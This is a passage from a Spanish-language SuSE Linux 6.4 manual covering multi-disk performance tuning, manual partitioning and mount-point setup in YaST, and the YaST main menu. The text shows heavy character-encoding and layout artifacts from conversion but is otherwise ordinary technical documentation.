  5084.                            de estas caracterφsticas tiene mucha memoria (a partir de 512 MB). El cuello
  5085.                            de botella se encuentra aquφ, en las particiones de swap. En este caso tambiΘn
  5086.                            cuenta que es mejor distribuir varias particiones swap en varios discos4 .
  5087.  
  5088.  
  5089.  
  5090.                            2.9.3      Posibilidades de optimizaci≤n
  5091.  
  5092.  
  5093.                            Generalmente los discos duros son el factor limitante. Existen dos diferentes
  5094.                            posibilidades (que se deben usar juntas) para pasar por ese cuello de botella:
  5095.  
  5096.  
  5097.                              o   Distribuir la carga de manera equilibrada en varios discos.
  5098.  
  5099.                              o   Utilizar un sistema de ficheros optimizado (p. ej. reiserfs       ).
  5100.  
  5101.                              o   Equipar el servidor de ficheros con suficiente memoria (mφnimo 128 MB).
  5102.                            _____________________________________________4
  5103.                               Si la computadora trabaja a·n con el kernel 2.0.xx, cabe rese±ar que el tama±o mßximo de la
  5104.                            partici≤n de swap es de 128 MB, pero Linux puede administrar hasta 8 de estas particiones (con
  5105.                            pocas modificaciones tambiΘn 64).  Para el kernel 2.2.xx el tama±o mßximo del ''Swap'' es de
  5106.                            2 GB.
  5107.  
  5108.  
  5109. 74
  5110.        __________________________________________________________________________________2.9.__Particionar_para_avanzados__________*
  5111.  *______________________
  5112.  
  5113.  
  5114.  
  5115. Paralelizar con varios discos
  5116. Hay  que  explicar  el  primer  mΘtodo  con  mßs  detenimiento.  El  tiempo  total
  5117.  
  5118. que transcurre hasta que se pueden proporcionar los datos pedidos a un disco,
  5119. se constituye (aproximadamente) de las siguientes fases:
  5120.  
  5121.  1.   tiempo, hasta que el pedido estß en la controladora.
  5122.  
  5123.  2.   tiempo, hasta que la controladora envφe este pedido al disco duro.
  5124.  
  5125.  3.   tiempo, hasta que el disco duro posiciona su cabezal.
  5126.  
  5127.  4.   tiempo, hasta que el disco se haya girado hacia al sector correcto.
  5128.  
  5129.  5.   tiempo para la transmisi≤n de los datos.
  5130.  
  5131. El  punto  1  depende  de  la  conexi≤n  a  la  red,  se  regula  allφ  y  no  nos  debe
  5132. ocupar ahora.  El tiempo mencionado en el punto 2 es muy corto y depende
  5133. de la controladora misma.  El punto 3 suele ser ''lo gordo'',  ya que se trata
  5134. de  un  tiempo  que  se  mide  en  ms.   Comparado  con  los  tiempos  de  acceso
  5135. a  la  memoria  RAM,  que  son  del  orden  de  ns,  hablamos  de  un  factor  de
  5136. 1 mill≤n(!).  El punto 4 depende de las revoluciones del disco y el punto 5
  5137. de esas revoluciones y de la cantidad y posici≤n actual de los cabezales (en la
  5138. zona interior o exterior del disco).
  5139.  
  5140. Lo mejor para un buen rendimiento es entonces ''atacar'' en el punto 3.  Los
  5141. discos del tipo SCSI lo tratan de mejorar mediante la caracterφstica ''discon-
  5142. nect''. Esta caracterφstica significa mßs o menos lo siguiente:
  5143.  
  5144. La controladora envφa al dispositivo conectado (en este caso el disco duro)
  5145. la  orden  ''íVete  a  la  pista  x,  sector  y!''.   Ahora  la  mecßnica  del  disco  duro
  5146. con toda su inercia se tiene que poner en marcha.  Si el disco es inteligente
  5147. (o maneja ''disconnect'') y el driver de la controladora tambiΘn conoce esta
  5148. caracterφstica,  entonces  la  controladora  del  disco  envφa  inmediatamente  la
  5149. orden ''disconnect'' y el disco se separa del bus-SCSI. A partir de ahora, otros
  5150. dispositivos  SCSI  pueden  llevar  a  cabo  la  transferencia  de  datos.   DespuΘs
  5151. de  un  rato  (dependiendo  de  la  estrategia  o  de  la  carga  en  el  bus  SCSI),  se
  5152. reanudarß la conexi≤n al disco duro.  En el caso ideal, Θste ya habrß llegado
  5153. con su cabezal a la posici≤n de lectura deseada.
  5154.  
  5155. En un sistema multitarea y multiusuario como Linux, quedan muchas posi-
  5156. bilidades para optimizar. Se puede observar entonces el resultado de la salida
  5157. del comando df   (ver Mensaje en pantalla 2.9.1).
  5158.  
  5159.        _______________________________________________________________________________________________________________________
  5160.        |||||||| Filesystem              1024-blocks   Used  Available  Capacity  Mounted  on                                   |
  5161.        |||||||| /dev/sda2                      45835     27063      16152        63%     /                                     |
  5162.        |||||||| /dev/sdb1                    992994   749694     192000        80%     /usr                                    |
  5163.        |||||||| /dev/sdc1                    695076   530926     133412        80%     /usr/lib                                |
  5164.        ||||||||_______________________________________________________________________________________________________________ |
  5165.  
  5166. Mensaje en pantalla 2.9.1:  Ejemplo de particionar:  Resultado del comando
  5167. df  .
  5168.  
  5169.  
  5170. ┐QuΘ ventaja proporciona esta paralelizaci≤n? Supongamos que se introduce
  5171. en /usr/src lo siguiente:
  5172.  
  5173.     root@tierra:/usr/src/  >  tar  xzf  paket.tgz  -C  /usr/lib
  5174.  
  5175. De este modo se instala paket.tgz  en /usr/lib/paket.  Para ello,  la shell
  5176. llama los programas tar  y gzip  (se encuentran en /bin  y por lo tanto sobre
  5177.  
  5178.  
  5179.                                                                                                                                    *
  5180.  *     75
  5181. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  5182.  *_______________________________________@
  5183.  
  5184.  
  5185.  
  5186.                            /dev/sda), despuΘs se lee paket.tgz desde /usr/src (se encuentra sobre
  5187.                            /dev/sdb).  Por  ·ltimo,  los  datos  extraφdos  se  escriben  en  /usr/lib,  que
  5188.                            se  encuentra  sobre  /dev/sdc.   Ahora  el  posicionamiento  tal  como  la  lec-
  5189.                            tura/escritura de los +  B·feres internos del disco, se pueden llevar a cabo de
  5190.                            manera casi~paralela.
  5191.  
  5192.                            Lo arriba expuesto es solamente un ejemplo entre muchos.  Por experiencia
  5193.                            se puede decir que /usr y /usr/lib se deben encontrar en diferentes discos
  5194.                            si se trata de un sistema de varios discos igual de rßpidos. El path /usr/lib
  5195.                            debe tener cerca del 70% de la capacidad de /usr.  Por la gran cantidad de
  5196.                            accesos es conveniente que el +  Directorio root se encuentre en el disco con
  5197.                            /usr/lib.
  5198.  
  5199.                            A partir de una cierta cantidad de discos SCSI (de 4 a 5), conviene considerar
  5200.                            seriamente una soluci≤n RAID por software o (mejor) la adquisici≤n de una
  5201.                            controladora RAID. Con ella, las operaciones en los discos se ejecutarßn no
  5202.                            solo de manera casi-paralela pero realmente de forma paralela. La tolerancia
  5203.                            respecto a fallos es otra agradable ventaja de la tecnologφa RAID.
  5204.  
  5205.  
  5206.                            Tasa de transferencia a discos y tama±o de memoria
  5207.  
  5208.                            Mencionamos en varios sitios que bajo Linux, el tama±o de la memoria puede
  5209.                            resultar  en  muchas  ocasiones  mßs  importante  que  la  propia  velocidad  del
  5210.                            procesador.   Una  raz≤n  ~  sino  la  mayor  ~  es  la  propiedad  que  tiene  Linux
  5211.                            de generar b·feres dinßmicos con datos del disco duro. Haciendo esto, Linux
  5212.                            usa muchos trucos sofisticados como ''read ahead'' (saca sectores adicionales
  5213.                            del  disco  como  provisi≤n  para  el  futuro)  y  ''delayed  write''  (ahorra  grabar
  5214.                            datos  para  luego  guardar  una  mayor  cantidad  de  informaci≤n  de  una  sola
  5215.                            vez).   Lo  ·ltimo  es  la  raz≤n  por  la  cual  no  se  puede  apagar  asφ  de  simple
  5216.                            una computadora con Linux.  Ambos trucos son los responsables del hecho
  5217.                            que la memoria aparezca con el tiempo mßs llena y del hecho que Linux sea
  5218.                            tan rßpido.
  5219.  
  5220.                            ________________________________________________________________________________________________________*
  5221.  *________||
  5222.                            |                     total        used        free     shared   buffers     cached                     *
  5223.  *         |
  5224.                            | Mem:              63304      62312          992      15920      38692        4200                     *
  5225.  *         |
  5226.                            | -/+  buffers:                19420      43884                                                         *
  5227.  *         |
  5228.                            | Swap:           199508      14548     184960                                                          *
  5229.  *         |
  5230.                            |_______________________________________________________________________________________________________*
  5231.  *________ |
  5232.  
  5233.                                           Mensaje en pantalla 2.9.2: Resultado del comando free
  5234.  
  5235.  
  5236.                            El salida en pantalla 2.9.2 muestra que hay alrededor de 38 MB almacenados
  5237.                            en  el  b·fer.   Cuando  se  quiere  acceder  a  cualquier  dato  que  se  encuentra
  5238.                            todavφa en el b·fer, Θste llega prßcticamente al instante.
  5239.  
  5240.  
  5241. 76
  5242.        _________________________________________________________________2.10.__Configuraci≤n_manual_del_disco_duro_________________*
  5243.  *______________________
  5244.  
  5245.  
  5246.  
  5247. 2.10        Configuraci≤n manual del disco duro
  5248.  
  5249. 2.10.1       Establecer particiones
  5250.  
  5251.  
  5252. ┐De quΘ se trata?
  5253.  
  5254. En el apartado 2.2.4 en la pßgina 35Arrancar YaST  subsection.2.2.4 se de-
  5255. cidi≤ establecer las particiones de manera interactiva.  El presente apartado
  5256. explica las pantallas de YaST  que aparecerßn durante el proceso de configu-
  5257. raci≤n.
  5258.  
  5259. Andries Brouwer ha preparado un documento con informaci≤n mßs de-
  5260. tallada  sobre  los  distintos  tipos  de  partici≤n  que  se  encuentra  en  http:
  5261. //www.win.tue.nl/~aeb/partitions/.
  5262.  
  5263.  
  5264. Paso por paso. . .
  5265.  
  5266. Para ajustar las particiones se procede de la siguiente manera:
  5267.  
  5268.  
  5269.  1.   YaST  presenta una pantalla con varias zonas (ver figura 3.9 en la pßgi-
  5270.       na 91Particionar disco(s) duro(s)section.3.4):
  5271.  
  5272.       o   En  la  parte  superior  de  la  pantalla  figuran  los  parßmetros  del  disco
  5273.           duro.
  5274.  
  5275.       o   En la segunda parte se encuentran posibles advertencias y mensajes de
  5276.           error del_programa fdisk .  Estos mensajes se pueden visualizar mejor
  5277.           con |F___|6.
  5278.  
  5279.       o   En la parte inferior se apuntan las particiones que fdisk  ha encontrado
  5280.           en el disco duro.  Allφ se pueden ver las particiones del sistema oper-
  5281.           ativo que se ha usado hasta ahora, por ejemplo MS~DOS. En caso de
  5282.           haber generado una partici≤n de swap, Θsta tambiΘn figura allφ.
  5283.  
  5284.  2.   Para  borrar  particiones  existentes,  con  el  fin  de  particionar  de  nuevo  el
  5285.       espacio liberado, se debe hacer primero lo siguiente:
  5286.  
  5287.       Navegar con las teclas |#__|y |"__|para dirigirse a la partici≤n que se quiere
  5288.       borrar.  PiΘnselo otra_vez_bien; tambiΘn tenga en cuenta_el_tipo de parti-
  5289.       ci≤n. DespuΘs pulse |F___|4y confirme el borrado con |_____-|.
  5290.        _______________________________________________________________________________________________________________________
  5291.        ||||||||  Cuando se borran particiones, tambiΘn se borran todos los datos contenidos                     |||            |
  5292.        ||||||||          a                                                                                      ||             |
  5293.        ||||||||  en ellas  .                                                                                    ||             |
  5294.        ||||||||  ____________________________________________                                                   ||             |
  5295.        ||||||||  a Esta afirmaci≤n no es tΘcnicamente correcta al 100%, pero los datos se borrarßn igualmente!  ||             |
  5296.        ||||||||_______________________________________________________________________________________________________________||_
  5297.  
  5298.       Si se desea borrar varias particiones, lo mejor es llevarlo a cabo de una
  5299.       vez.
  5300.  
  5301.  3.   En caso de querer usar las particiones de otros sistemas operativos para
  5302.       Linux, se puede efectuar ahora cambiando el tipo de partici≤n.
  5303.        _______________________________________________________________________________________________________________________
  5304.        ||||||||  íCuando  se  cambia  el  tipo  de  partici≤n,  es  probable  que  otros  sistemas              |||            |
  5305.        ||||||||                                                                                                 ||             |
  5306.        ||||||||  operativos (MS-DOS o Windows) ya no puedan acceder a los datos con-                            ||             |
  5307.        ||||||||  tenidos en ella!                                                                               ||             |
  5308.        ||||||||_______________________________________________________________________________________________________________||_
  5309.  
  5310.  
  5311.                                                                                                                                    *
  5312.  *     77
  5313. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  5314.  *_______________________________________@
  5315.  
  5316.  
  5317.  
  5318.                                  Navegar con |#__|y |"__|para anotar la partici≤n a la que se quiere_cambiar de
  5319.                                  tipo. Cuando se encuentre la partici≤n ''correcta'', pulsar |F___|3.
  5320.                                  Aparece una peque±a ventana para seleccionar el tipo de partici≤n desea-
  5321.                                  da. Elegir entre_una_partici≤n Linux normal y una del tipo swap y despuΘs
  5322.                                  confirmar con |_____-|.
  5323.  
  5324.                             4.   Si  quiere  generar  nuevas  particiones  de  Linux  (lo  normal),  entonces  ___
  5325.                                  genΘrelas_ una  despuΘs  de  la  otra.   Con  este  fin  se  pulsa  primero  |___F|5.
  5326.                                  Si  |___F|5no  muestra  ning·n  resultado,  significa  que  no  hay  espacio  para
  5327.                                  nuevas particiones en el disco duro. En este caso habrß que borrar primero
  5328.                                  algunas particiones (ver arriba). . . .
  5329.                                                  Figura 2.18: YaST  ~ Definici≤n de particiones
  5330.  
  5331.  
  5332.                                  Aparece una ventana de selecci≤n para definir el tipo de la nueva parti-
  5333.                                  ci≤n (figura 2.18). Seleccionar entre `Partici≤n  primaria', `Parti-
  5334.                                  ci≤n  extendida'_ y  eventualmente  `Partici≤n  l≤gica';  confirmar
  5335.                                  con |_____-|. Para recordar: Cada disco soporta como mßximo cuatro parti-
  5336.                                  ciones  primarias.   Si  se  necesitan  mßs  de  cuatro  particiones  primarias,
  5337.                                  la  cuarta  partici≤n  debe  ser  una  partici≤n  extendida,  dentro  de  la  cual
  5338.                                  se  pueden  generar  entonces  varias  particiones  l≤gicas.   Para  mayor  in-
  5339.                                  formaci≤n  ver  el  apartado  2.8  en  la  pßgina  70Tipos  de  partici≤n  en  el
  5340.                                  PCsection.2.8.
  5341.  
  5342.                                  Si  se  ha  generado  una  partici≤n  l≤gica  o  primaria,  se  debe  determinar
  5343.                                  bajo cußl nombre de dispositivo (ingl. device) debe figurar.  YaST  ofrece
  5344.                                  los nombres disponibles para Θstos; simplemente_se selecciona el nombre
  5345.                                  superior, p. ej.  `/dev/hda2' y se pulsa |_____-|.
  5346.  
  5347.                                  En el siguiente paso se tiene que definir el tama±o de la nueva partici≤n.
  5348.                                  YaST  propone  como  comienzo  de  la  primera,  el  primer__cilindro_ libre.
  5349.                                  Normalmente  se  puede  confirmar  esta  propuesta  con  |_____-|.   Ahora  es
  5350.                                  necesario  fijar  el  final  de  la  partici≤n.   Se  presentan  tres  posibilidades:
  5351.                                  Precisar  ya  sea  el  n·mero  del  cilindro  final  (p. ej.  976   ),  la  cantidad  de
  5352.  
  5353.  
  5354. 78
  5355.        _________________________________________________________________2.10.__Configuraci≤n_manual_del_disco_duro_________________*
  5356.  *______________________
  5357.  
  5358.  
  5359.  
  5360.       cilindros de la partici≤n_(p._ej.  +66   ) o bien, el tama±o en megabytes_(p. ej.
  5361.       +100M     ). De nuevo |_____-|le lleva a `Continuar'; confirme con |_____-|.
  5362.       La partici≤n reciΘn definida aparece ahora en la parte inferior de la pan-
  5363.       talla.  Si esta_partici≤n_no ha resultado como se esperaba, se puede borrar
  5364.       de nuevo con |F___|4. . .
  5365.  5.   Una  de  las  particiones  debe  ser  en _todo  caso_ del  tipo  swap.  Si  todavφa
  5366.       no ha generado ninguna, seleccione con |#_ |y |"_ |una partici≤n adecuada
  5367.       (para  encontrar  un  tama±o  razonable  para  la  partici≤n  swap  consulte  el
  5368.       apartado 2.8 en la pßgina 70Tipos de partici≤n en el PCsection.2.8). Pulse
  5369.        ||__|F3, seleccione `Partici≤n  Linux  swap' y confirme la operaci≤n con
  5370.        ||__
  5371.        _____-|.
  5372.  6.   ┐Estßn ahora todas las particiones establecidas seg·n su deseo?  (el dis-
  5373.       co  duro  debe  estar  completamente  ocupado)  ┐TambiΘn  se__ha_ tenido  en
  5374.       cuenta la partici≤n de swap?  Entonces mueva el + _Cursor_|T____a|bal campo
  5375.       `Continuar', en caso de no encontrarse allφ ya. | _____|-le llevarß despuΘs
  5376.       de una confirmaci≤n adicional a la ventana `Definici≤n  de  sistemas
  5377.       de  fichero'.
  5378.  
  5379. Seg·n las condiciones, YaST  comprueba otra vez la partici≤n de swap para
  5380. asegurarse.
  5381.  
  5382.  
  5383. 2.10.2       Fijar sistemas de fichero y ''Mountpoints''
  5384.  
  5385. ┐De quΘ se trata?
  5386.  
  5387. En  el  paso  anterior  todas  las  particiones  se  dieron  de  alta  en  la  tabla  de
  5388. particiones.   En  el  paso  actual  se  debe  proporcionar  informaci≤n  adicional
  5389. para las particiones Linux reciΘn configuradas y para las que puedan existir
  5390. del tipo DOS o HPFS.
  5391.  
  5392.  
  5393. Informaci≤n adicional
  5394.  
  5395. La informaci≤n adicional acerca de las particiones, se queda parcialmente fija
  5396. en el fichero /etc/fstab,  que es la tabla de sistemas de fichero (ingl. file
  5397. system table).  Esta tabla contiene todas las caracterφsticas constantes sobre
  5398. los  sistemas  de  fichero,  p. ej.  el  nombre  de  dispositivo  (ingl.  +  Device),  la
  5399. posici≤n o el tipo de sistema 5 .
  5400.  
  5401. Ademßs,  YaST  necesita  los  datos  para  poder  establecer  los  sistemas  de
  5402. fichero Linux en las particiones formateadas. En este paso de la configuraci≤n
  5403. no se toca la partici≤n swap, porque ya fue definida en el apartado 2.10.1 en
  5404. la pßgina 77Establecer particionessubsection.2.10.1 y no tiene ning·n grado
  5405. de libertad adicional.
  5406.  
  5407. Contrariamente a los efectos que tiene la manipulaci≤n de la tabla de parti-
  5408. ciones (ver apartado 2.10.1 en la pßgina 77Establecer particionessubsection.2.10.1),
  5409. los ajustes de este apartado son internos de Linux y en consecuencia no tienen
  5410. ning·n efecto sobre otros sistemas operativos que se encuentran en otras par-
  5411. ticiones.
  5412.  
  5413. A continuaci≤n_las_explicaciones_sobre_algunos_tΘrminos:___
  5414. 5  TambiΘn contiene informaci≤n para los programas dump y fsck ; ver la pßgina del manual de
  5415. fstab    (man  5  fstab    ).
  5416.  
  5417.  
  5418.                                                                                                                                    *
  5419.  *     79
  5420. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  5421.  *_______________________________________@
  5422.  
  5423.  
  5424.  
  5425.                              o   Bajo  Linux  todos  los  sistemas  de  fichero  estßn  ligados  a  un  ·nico  ''ßr-
  5426.                                  bol'' (ver figura C.1 en la pßgina 511Vista generalsection.C.1). Para cada
  5427.                                  sistema de ficheros se debe precisar en cußl rama del ßrbol debe apare-
  5428.                                  cer: Este es entonces el correspondiente punto de montaje (ingl. +  Mount-
  5429.                                  point). TambiΘn es posible colocar particiones de DOS o HPFS en el ßrbol
  5430.                                  de Linux.
  5431.                              o   El  espacio  de  almacenamiento  en  un  sistema  de  ficheros  Linux  se  ges-
  5432.                                  tiona  mediante  los  +  Inodes.   El  inode  apunta  a  los  datos  que  estßn  al-
  5433.                                  macenados en los ficheros.  Se determina la cantidad de inodes a la hora
  5434.                                  de establecer un sistema de ficheros.  Cuando la idea es almacenar mu-
  5435.                                  chos ficheros peque±os, se necesitan muchos inodes (los que naturalmente
  5436.                                  necesitan mßs espacio por sφ mismos). Por el contrario, teniendo muchos
  5437.                                  ficheros grandes no hacen falta tantos inodes.  Sobre este tema hay mßs
  5438.                                  detalles en el apartado 3.4.1 en la pßgina 93Men· de experto para ajustes
  5439.                                  finossubsection.3.4.1.
  5440.  
  5441.  
  5442.                            Paso por paso. . .
  5443.  
  5444.                            Dentro de la mßscara de entrada se encuentra `Definici≤n  de  sistemas
  5445.                            de  fichero' (ver figura 3.10 en la pßgina 92Establecer partici≤n/sistema de
  5446.                            ficheros destinosubsection.3.4.1).  Para definir los sistemas de fichero de las
  5447.                            nuevas particiones, se procede de la siguiente manera:
  5448.  
  5449.                             1.   Informaci≤n preliminar sobre quΘ hacer:
  5450.  
  5451.                                  o   Para los sistemas de ficheros DOS y HPFS (dentro de sus respectivas
  5452.                                      particiones) se puede fijar aquφ un punto de montaje (ingl. +   Mount-
  5453.                                      point).
  5454.  
  5455.                                  o   Para cada una de las nuevas particiones Linux:
  5456.  
  5457.                                      ~   Se debe fijar un punto de montaje
  5458.                                      ~   Se puede usar `F5=Modo  Experto' para realizar ajustes finos.
  5459.                                      ~   Se puede con `F6=Formatear' modificar la manera propuesta de
  5460.                                          formateado(con o sin verificaci≤n).
  5461.  
  5462.                                  o   Para la primera instalaci≤n no se necesita la funci≤n `leer  Fstab'.
  5463.  
  5464.                             2.   Con |F___|_3se puede seleccionar entre los dos distintos sistemas de ficheros;
  5465.                                  actualmente    se  puede  seleccionar  entre  el  probado  ext2     y  el  nuevo
  5466.                                  reiserfs        que ofrece prestaciones mßs avanzadas.
  5467.                            ________________________________________________________________________________________________________*
  5468.  *________||
  5469.  
  5470.                            |  No  se  puede  usar  el  ReiserFS  en  conjunto  con  un  Software-RAID  1  o                        *
  5471.  *        ||||
  5472.                            |  RAID 5.  En cuanto al Hardware-RAID no existe ninguna restricci≤n.  ~                                *
  5473.  *        |||
  5474.                            |                                                                                                       *
  5475.  *        |||
  5476.                            |  reiserfs        es a·n muy joven en comparaci≤n con ext2    ; hay que considerar                     *
  5477.  *        |||
  5478.                            |  esto a la hora de decidirse para ello.  Para mßs informaci≤n consulte en la                          *
  5479.  *        |||
  5480.                            |                                                                                                       *
  5481.  *        |||
  5482.                            |  pßgina 92Definir tiposubsection.3.4.1.                                                               *
  5483.  *        |||
  5484.                            |_______________________________________________________________________________________________________*
  5485.  *________|||_
  5486.  
  5487.                             3.   Para acceder con Linux a una_partici≤n_del tipo DOS o HPFS, hay que
  5488.                                  seleccionarla  y  pulsar | ___F|4.   Aparece  un  cuadro  de  dißlogo  que  pide  el
  5489.                                  nombre  de  un  directorio.   Bajo  el  nombre  de  este  directorio  se  encon-
  5490.                                  trarß despuΘs el sistema de ficheros DOS/HPFS. Escriba aquφ por ejemplo_
  5491.                                  dosc; recuerde colocar la barra (`/') al comienzo. Confirme con |_____-|.
  5492.  
  5493.  
  5494. 80
  5495.       _________________________________________________________________2.10.__Configuraci≤n_manual_del_disco_duro__________________*
  5496.  *_____________________
  5497.  
  5498.  
  5499.  
  5500.                Figura 2.19: YaST  ~ Montar particiones DOS/Windows
  5501.      En  el  caso  de  una  partici≤n  de  DOS,  aparecerß  un  cuadro  de  dißlogo
  5502.      adicional  (figura  2.19)  en  el  que  se  selecciona  el  modo  en  que  Linux
  5503.      debe acceder al sistema de ficheros DOS (ver tambiΘn apartado 3.4.1 en
  5504.      la pßgina 93Mountpoint ~ Punto de anclajesubsection.3.4.1).  Lo normal
  5505.      es  que  el  uso  de  la  partici≤n  DOS  desde  Linux  vaya  a  ser  esporßdico,
  5506.      p. ej.  para el intercambio de ficheros,  asφ que se puede seleccionar aquφ
  5507.      `DOS'  o  `FAT-Win95'  (=  vfat   ).   Las  propiedades  de  los  ficheros  son
  5508.      como  las  de  UNIX  y  los  nombres  de  fichero  largos  como  los  ofrece  el
  5509.      sistema de ficheros +   UMSDOS, los cuales solamente se necesitan si se
  5510.      quiere instalar SuSE      Linux en una partici≤n DOS. íEs mejor evitar esto
  5511.      lo mßs que se pueda!
  5512.  
  5513. 4.   Ahora se deben introducir los puntos de montaje (ingl. +  Mountpoints) de
  5514.      las particiones_Linux. Seleccione estas particiones una despuΘs de la otra
  5515.      y pulse |F___|4.  Aparece la ventana en la que debe introducir el directorio,
  5516.      bajo  el  cual  aparece  el  sistema  de  ficheros  de  esta  partici≤n  dentro  del
  5517.      sistema  de  ficheros  total.   Siempre  se  introduce  el  ''path''  con  la  barra
  5518.      (`/') al comienzo.
  5519.  
  5520.      Por supuesto, dependerß de los planes de particionar, cußles directorios se
  5521.      indicarßn como puntos de montaje. En todo caso se necesita un directorio
  5522.      `/'  (ingl.  root  directory)  que  forma  la  raφz  y  el  tronco  del  sistema  de
  5523.      ficheros completo; en castellano se denomina ''directorio raφz''. Como ya
  5524.      se ha mencionado, los demßs sistemas de fichero y sus correspondientes
  5525.      puntos de montaje son cuesti≤n de gusto; pero cuidado:
  5526.       _______________________________________________________________________________________________________________________||
  5527.  
  5528.       ||||||||  Los directorios que se necesitan en el arranque de la mßquina, tienen que                      |||            |
  5529.       ||||||||  estar colocados directamente en el sistema de ficheros `/', porque en el                       ||             |
  5530.       ||||||||                                                                                                 ||             |
  5531.       ||||||||  momento de arrancar las distintas ramas del sistema de ficheros total a·n                      ||             |
  5532.       ||||||||  no estßn unidos al tronco (a·n no estßn ''montados''). Asφ pues, no se deben                   ||             |
  5533.       ||||||||                                                                                                 ||             |
  5534.       ||||||||  indicar aquφ los directorios /bin, /dev, /lib, /etc y /sbin                                    ||             |
  5535.       ||||||||_______________________________________________________________________________________________________________||_
  5536.  
  5537. 5.   Lo mejor es ignorar el men· `Expertos', si apenas estß comenzando con
  5538.  
  5539.  
  5540.                                                                                                                                    *
  5541.  *    81
  5542. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  5543.  *_______________________________________@
  5544.  
  5545.  
  5546.  
  5547.                                  Linux;  normalmente los valores de selecci≤n automßtica son adecuados
  5548.                                  y  aseguran  un  funcionamiento  seguro.   No  modifique  estos  valore  sin
  5549.                                  conocer bien las consecuencias (ver en la pßgina 93Men· de experto para
  5550.                                  ajustes finossubsection.3.4.1).
  5551.  
  5552.                             6.   Determinar  si  se  deben  formatear  o  no  las  particiones  de  Linux  y
  5553.                                  en  caso  positivo  c≤mo  deben  ser  formateadas.    Las  particiones  que
  5554.                                  fueron  generadas  bajo  el  apartado  2.10.1  en  la  pßgina  77Establecer
  5555.                                  particionessubsection.2.10.1,  deben  ser  formateadas  en  todo  caso.   Si
  5556.                                  tiene  un  disco  duro  moderno  es  suficiente  usar  `Formateo  normal'.
  5557.                                  Con un disco un tanto anticuado es mejor usar `Formateo  con  veri-
  5558.                                  ficaci≤n'.
  5559.  
  5560.  
  5561.  
  5562.                                                       Figura 2.20: YaST  ~ Puntos de montaje
  5563.  
  5564.  
  5565.                                  Seleccionar  sucesivamente  las  particiones  Linux,  pulsar  |____|F6y  escoger
  5566.                                  despuΘs  el  tipo  de  formateo  adecuado;  al  final  de  este  paso,  el  men·
  5567.                                  debe aparecer como lo muestra la figura 2.20 (generalmente no se tendrß
  5568.                                  ning·n directorio NFS apuntado)
  5569.  
  5570.                             7.   Seleccionar `Continuar' y confirmar la pregunta de seguridad.  Ahora
  5571.                                  YaST  formatea las particiones.
  5572.  
  5573.  
  5574. 82
  5575.  
  5576.                                                                                                            Capφtulo  3
  5577.                    YaST    ~   Yet   another   Setup   Tool
  5578.  
  5579.  
  5580. YaST  (yast    ) es una parte esencial de SuSE      Linux.  Ayuda a instalar el sis-
  5581. tema,  administrar el software (Instalaci≤n y desinstalaci≤n) y da soporte en
  5582. las tareas de administraci≤n de sistema.
  5583.  
  5584. Este capφtulo describe las funciones mßs importantes de YaST  para facilitar
  5585. al mßximo la instalaci≤n.
  5586.        _______________________________________________________________________________________________________________________||
  5587.        ||||||||  SuSE     Linux 6.4 contiene una versi≤n de YaST  mejorada, de manera que                       |||            |
  5588.        ||||||||  las imßgenes de pantallas (''Screenshots'') en el libro ya no concuerdan al                    ||             |
  5589.        ||||||||                                                                                                 ||             |
  5590.        ||||||||  cien por cien con las anteriores.                                                              ||             |
  5591.        ||||||||_______________________________________________________________________________________________________________||_
  5592.  
  5593.  
  5594. 3.1       Uso y distribuci≤n de teclado
  5595.  
  5596. Primero se arranca YaST  en el +  Prompt con la orden yast    :
  5597.  
  5598.       tierra:  #  yast
  5599.  
  5600. YaST  se maneja por lo general_con las teclas del cursor (las flechas) y con
  5601. la tecla del tabulador (|T____a|b).__Es_posible_moverse_dentro_de las listas con las
  5602. teclas del cursor tal como con |R_________e|yPßg|________A|v._PßgCon la_tecla_de espacio se
  5603. seleccionan las opciones en una lista y normalmente |E_______n|tero |_____-|confirman_
  5604. la  selecci≤n.  Por  lo  general  se  sale  de  los  men·s_ pulsando | ____E|scpero  si  se
  5605. desea mantener los ajustes hechos se debe salir con |F____1|0.
  5606.  
  5607. En caso de afirmaci≤n o negaci≤n (SI o NO) o cuando hace falta introducir
  5608. texto  (p._ej._  el  nombre  de  un  directorio),  se  puede  saltar  entre  los  campos
  5609. usando |T____a|b. La selecci≤n activa siempre se muestra en azul.
  5610.  
  5611. En casos raros, p. ej.  cuando se arranca YaST remotamente desde un terminal
  5612. ''no-Linux'', no se pueden usar las teclas que se mencionan a continuaci≤n,
  5613. ya que los c≤digos de_las_teclas_son_mal interpretados. En tal caso,_se_pueden_       _   _____________
  5614. simular las teclas_|F_______________<|n·mero>con la combinaci≤n_|C__________o|ntrol+|f__||_____________<n|·mero>._
  5615. Para simular |F____1|0se_debe_pulsar la combinaci≤n |C__________o|ntrol+|f_ ||_0|.  Las teclas
  5616. de funci≤n |F____1|1y |F____1|2no se usan en YaST .
  5617.  
  5618.  
  5619.  
  5620. 3.2       El men· principal de YaST
  5621.  
  5622. Al ejecutar YaST  aparece el ''Men· principal'' (figura 3.1 en la pßgina sigu-
  5623. iente).
  5624.  
  5625. `Ayuda  general  para  la  instalaci≤n'                              Informaci≤n diversa.
  5626.  
  5627.  
  5628.                                                                                                                                    *
  5629.  *     83
  5630. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  5631.  *_______________________________________@
  5632.  
  5633.  
  5634.  
  5635.                                                             Figura 3.1: El ''Men· principal''
  5636.                            `Ajustes  de  la  instalaci≤n  ->'                         Este  punto  se  bifurca  en  un  sub-
  5637.                                  men· (ver apartado 3.3).
  5638.  
  5639.                            `Escoger/Instalar  paquetes'                         Desde  aquφ  se  llega  al  listado  de  soft-
  5640.                                  ware,  para  instalar  paquetes  en  el  sistema  o  bien  para  eliminarlos  (ver
  5641.                                  apartado 3.5 en la pßgina 96Escoger / Instalar paquetessection.3.5).
  5642.  
  5643.                            `Actualizar  sistema'                   Para renovar paquetes entrar aquφ.
  5644.  
  5645.                            `Administraci≤n  del  sistema  ->'                           Con  esta  opci≤n  se  abre  el  men·
  5646.                                  para la administraci≤n del sistema (ver apartado 3.7 en la pßgina 102Ad-
  5647.                                  ministraci≤n del sistemasection.3.7).
  5648.  
  5649.                            `Mostrar  LEAME  del  medio  de  instalaci≤n'                                 Informaci≤n   adicional
  5650.                                  importante.
  5651.  
  5652.                            `Copyright'            Esta es la secci≤n de los abogados.
  5653.  
  5654.                            `Salir  de  YaST'              ~ Nada dura para siempre.
